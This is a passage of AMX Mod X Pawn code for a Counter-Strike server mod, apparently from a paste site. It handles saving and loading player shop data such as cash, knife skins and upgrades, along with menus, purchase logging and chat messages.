- ParseLoadData( id, data )
- return
- }
- else
- {
- formatex( Player[ id ][ PLAYER_NAME ], 32, GetUserName( id ));
- arrayset(Player[id], 0, enumPlayer)
- arrayset(g_PlayerKnives[id], 0, enumKnifes)
- arrayset(g_PlayerSkins[id], 0, enumSkins)
- for( new i = 0; i < enumSkins; i++ )
- for( new j = 0; j < enumSkinInfo; j++ )
- g_PlayerUpgrade[id][ i ][ j ] = 0;
- playerUsingknife[id] = 0
- playerUsingSkin[id] = 0
- Player[id][PLAYER_PAYCHECK] = 0
- Player[id][PLAYER_CASH] = 0
- SaveNames( id )
- Save(id)
- }
- }
- ParseLoadData( id, data[ 256 ] )
- {
- new num[ 10 ];
- /* Load Cash */
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- Player[id][ PLAYER_CASH ] = str_to_num(num);
- /* Load Knife */
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- playerUsingknife[id] = str_to_num(num);
- /* Load Skin */
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- playerUsingSkin[id] = str_to_num(num);
- /* Load Knifes */
- for(new i = 0; i < enumKnifes; i++)
- { // Load Knifes
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- g_PlayerKnives[id][i] = str_to_num(num);
- }
- for(new i = 0; i < enumSkins; i++)
- { // Load Masks
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- g_PlayerSkins[id][i] = str_to_num(num);
- for( new j = 0; j < enumSkinInfo - MAXUPGRADES; j++ )
- {
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- g_PlayerUpgrade[id][i][j] = str_to_num(num);
- }
- }
- strbreak( data, num, sizeof( num ) - 1, data, sizeof( data ) - 1 )
- Player[ id ][ PLAYER_TOKENS ] = str_to_num(num);
- }
- public LoadUser( Client )
- {
- new playerAuth[ 35 ], intNum[ 10 ];
- get_user_authid( Client, playerAuth, charsmax( playerAuth ) )
- new strData[ 128 ];
- if( !fvault_get_data( Paycheck_Data, playerAuth, strData, 127) )
- {
- Player[ Client ][ PLAYER_PAYCHECK ] = 0;
- arrayset( mPlayer[ Client ], 0, enumMeatlts )
- }
- else
- {
- strbreak( strData, intNum, sizeof( intNum ) - 1, strData, sizeof( strData ) - 1 )
- Player[ Client ][ PLAYER_PAYCHECK ] = str_to_num( intNum );
- for(new i = 0; i < enumMeatlts; i++)
- { // Load Masks
- strbreak( strData, intNum, sizeof( intNum ) - 1, strData, sizeof( strData ) - 1 )
- mPlayer[ Client ][ i ] = str_to_num( intNum );
- }
- }
- }
- public SaveUser( Client )
- {
- new playerAuth[ 35 ], len;
- get_user_authid( Client, playerAuth, charsmax( playerAuth ) );
- new strData[ 128 ];
- len = formatex( strData, charsmax( strData ), "%i", Player[ Client ][ PLAYER_PAYCHECK ] )
- for(new i = 0; i < enumMeatlts; i++)
- len += formatex( strData[ len ], sizeof( strData ) - len - 1, " %i", mPlayer[ Client ][ i ] );
- fvault_set_data( Paycheck_Data, playerAuth, strData )
- }
- /* Shop:
- - Stocks
- */
- CheckSkin(id, const Meatls)
- {
- if ( !( 1 <= id <= get_maxplayers()) || !is_user_connected(id) )
- return true
- for(new i = 0; i < enumMeatlts; i++ )
- {
- if(Skin_InfoMealts[ Meatls ][ i ] > mPlayer[ id ][ i ])
- {
- return false
- }
- }
- return true;
- }
- public Task_CreateBox(Client)
- {
- static Entity[ MAX_BOXES ];
- for( new i = 0; i < MAX_BOXES; i++ )
- {
- Entity[ i ] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"));
- if (pev_valid( Entity[ i ] ))
- {
- g_ClientOrigin[ Client ][ 0 ] += i * 80;
- set_pev( Entity[ i ], pev_classname, szBoxes_Info[ i ][ BOXES_CLASSNAME ]);
- set_pev( Entity[ i ], pev_solid, SOLID_BBOX);
- set_pev( Entity[ i ], pev_movetype, MOVETYPE_TOSS);
- set_pev( Entity[ i ], pev_origin, g_ClientOrigin[Client]);
- engfunc(EngFunc_SetModel, Entity[ i ], szBoxes_Info[ i ][ BOXES_MODEL ]);
- engfunc(EngFunc_SetSize, Entity[ i ], {-2.0, -2.0, -2.0}, {5.0, 5.0, 5.0});
- }
- }
- }
- stock user_update_knife(id)
- {
- if(g_PlayerKnives[id][playerUsingknife[id]])
- {
- new strFormat[ 64 ];
- formatex( strFormat, charsmax( strFormat ), "models/injsticenew/v_knife%i.mdl", playerUsingknife[ id ]);
- entity_set_string(id, EV_SZ_viewmodel, strFormat)
- formatex( strFormat, charsmax( strFormat ), "models/w_knife.mdl");
- entity_set_string(id, EV_SZ_weaponmodel, strFormat)
- }
- }
- stock give_grenade(id, grenadeid)
- {
- if(user_has_weapon(id, grenadeid))
- cs_set_user_bpammo(id, grenadeid, cs_get_user_bpammo(id, grenadeid) + 1)
- else
- {
- new strGrenadename[32]
- get_weaponname(grenadeid, strGrenadename, 31)
- give_item(id, strGrenadename)
- }
- }
- GetTime()
- {
- new strDate[ 64 ];
- get_time("%H:%M:%S %m/%d/%Y", strDate, charsmax(strDate))
- static _minutes[5], _seconds[5];
- format_time(_minutes, sizeof(_minutes) - 1, "%M");
- format_time(_seconds, sizeof(_seconds) - 1, "%S");
- new c_minutes = str_to_num(_minutes);
- new c_seconds = str_to_num(_seconds);
- // 16:01:31
- // 59 + 29
- // 60 - 24 = 36
- // 17:00:00
- // 18:01 === 60 - ( 1 + 1 );
- // 58
- new CheckTime = c_minutes;
- if( CheckTime > 0 ) CheckTime = 60 - (c_minutes + 1)
- else CheckTime = 60 - ( c_minutes )
- return ( ( CheckTime ) * 60 ) + ( 60 - c_seconds );
- }
- GetReason( id, Item )
- {
- new strTemp[ 125 ];
- strTemp = "Purchase";
- if( Skin_Info[ Item ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ Item ][ SKIN_KNIFE ]] )
- {
- formatex( strTemp, charsmax( strTemp ), "\dSkin cant be bought due\r: \y%s Knife \wmust be unlock first", Knife_Info[ Skin_Info[ Item ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ]);
- }
- else if(!CheckSkin(id, Item))
- {
- formatex( strTemp, charsmax( strTemp ), "\dSkin cant be bought due:\y You dont have enough Mealts");
- }
- return strTemp
- }
- stock GetUserStat( index, playerChoosenSkin, playerChoosenUpgrade )
- {
- return ( Skin_Info[ playerChoosenSkin ][ playerChoosenUpgrade ] + g_PlayerUpgrade[ index ][ playerChoosenSkin ][ playerChoosenUpgrade ] )
- }
- GetTotalPrice( Item )
- {
- new iSum = 0;
- for(new i = 0; i < enumMeatlts; i++)
- {
- iSum += Skin_InfoMealts[ Item ][ i ];
- }
- return iSum;
- }
- stock GetUserUpgrades( index, playerChoosenSkin, playerChoosenUpgrade, intAdd )
- {
- new intResive = 0;
- switch ( playerChoosenUpgrade )
- {
- case SKIN_MOVEMENT: intResive = 1;
- case SKIN_GRANDE: intResive = 1;
- case SKIN_STAMINA: intResive = 1;
- }
- if( intAdd == 1 ) intAdd = intResive;
- return ( g_PlayerUpgrade[ index ][ playerChoosenSkin ][ playerChoosenUpgrade ] + Skin_Info[ playerChoosenSkin ][ playerChoosenUpgrade ] + intAdd );
- }
- stock MenuKey(menu, item)
- {
- new szData[6], szName[64];
- new access, callback;
- menu_item_getinfo(menu, item, access, szData, charsmax(szData), szName, charsmax(szName), callback);
- menu_destroy(menu)
- return str_to_num(szData);
- }
- public CmdPlayerShower( id )
- {
- new szKey[ 35 ], szName[ 35 ], intKey[ 6 ];
- formatex( szKey, charsmax( szKey ),"\r[ \w%s \r] \wChoose Player:", GAMETYPE);
- new Invite = menu_create(szKey, "InviteMenuHandle")
- new iTotal = fvault_size( "Vault_Names" );
- for( new i = 0; i < iTotal; i++ )
- {
- fvault_get_keyname( "Vault_Names", i, szKey, 34 )
- fvault_get_data( "Vault_Names", szKey, szName, 34 )
- num_to_str( i, intKey, 5 );
- menu_additem(Invite, szName, intKey)
- }
- menu_display(id, Invite)
- return 1;
- }
- public InviteMenuHandle(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- }
- else
- {
- client_print( id , print_chat, "u pressed item %i", item);
- }
- return PLUGIN_HANDLED;
- }
- public LoadNames(id)
- {
- new strName[35]
- get_user_authid(id, strName, 34)
- static data[ 256 ], intNum[ 10 ];
- if( fvault_get_data( "Vault_Names", strName, data, sizeof( data ) - 1) )
- {
- strbreak( data, intNum, sizeof( intNum ) - 1, data, sizeof( data ) - 1 )
- formatex( Player[ id ][ PLAYER_NAME ], charsmax( Player[][ PLAYER_NAME ] ), intNum);
- }
- else
- {
- formatex( Player[ id ][ PLAYER_NAME ], charsmax( Player[][ PLAYER_NAME ] ), GetUserName( id ));
- SaveNames(id)
- }
- }
- public SaveNames( id )
- {
- new strName[35]
- get_user_authid(id, strName, 34)
- static data[ 256 ];
- new len;
- formatex( Player[ id ][ PLAYER_NAME ], 32, GetUserName( id ));
- len += formatex( data[ len ], sizeof( data ) - len - 1, " ^"%s^"", Player[ id ][ PLAYER_NAME ]);
- fvault_set_data("Vault_Names", strName, data)
- }
- ShopLog(id, input[], any:...)
- {
- static msg[191]
- vformat(msg, 190, input, 3)
- new iFile = fopen(Logpath, "a");
- if( !iFile )
- return;
- // Get Time
- new ctime[64]
- get_time("%m/%d/%Y - %H:%M:%S", ctime, 63)
- fprintf(iFile, "^"%s^" %s (%s) %s^n", ctime, GetUserName( id ), GetUserAuthid( id ), msg)
- fclose(iFile);
- }
- stock GetUserName( const index )
- {
- static szName[ 32 ];
- get_user_name( index, szName, charsmax( szName ) );
- return szName;
- }
- stock GetUserAuthid( const index )
- {
- static szName[ 35 ];
- get_user_authid( index, szName, charsmax( szName ) );
- return szName;
- }
- stock szAuth( const index )
- {
- static g_szAuthID[ 35 ];
- get_user_authid( index, g_szAuthID, charsmax( g_szAuthID ) );
- return g_szAuthID;
- }
- stock szAddress( const index )
- {
- static g_szAddress[ 32 ];
- get_user_ip( index, g_szAddress, charsmax( g_szAddress ), 1 );
- return g_szAddress;
- }
- stock GetSteam( index )
- {
- new steamid[ 32 ]
- get_user_authid(index,steamid,charsmax( steamid ) )
- if(equal(steamid,"STEAM_ID_LAN"))
- {
- get_user_ip(index,steamid,31,1)
- }
- return steamid
- }
- stock ColorPrint( const index, const string[], any:... )
- {
- new szMsg[ 191 ], Players[ 32 ], PNum = 1;
- static iLen; iLen = formatex( szMsg, charsmax( szMsg ), "^4[^1Injstice^4]^1 ");
- vformat( szMsg[ iLen ], charsmax( szMsg ) - iLen, string, 3 );
- if ( index )
- Players[ 0 ] = index;
- else
- get_players( Players, PNum, "ch" );
- for ( new i; i < PNum; i++ )
- {
- if( is_user_connected( Players[ i ] ) )
- {
- message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, Players[ i ] );
- write_byte( Players[ i ] );
- write_string( szMsg );
- message_end( );
- }
- }
- return 1;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement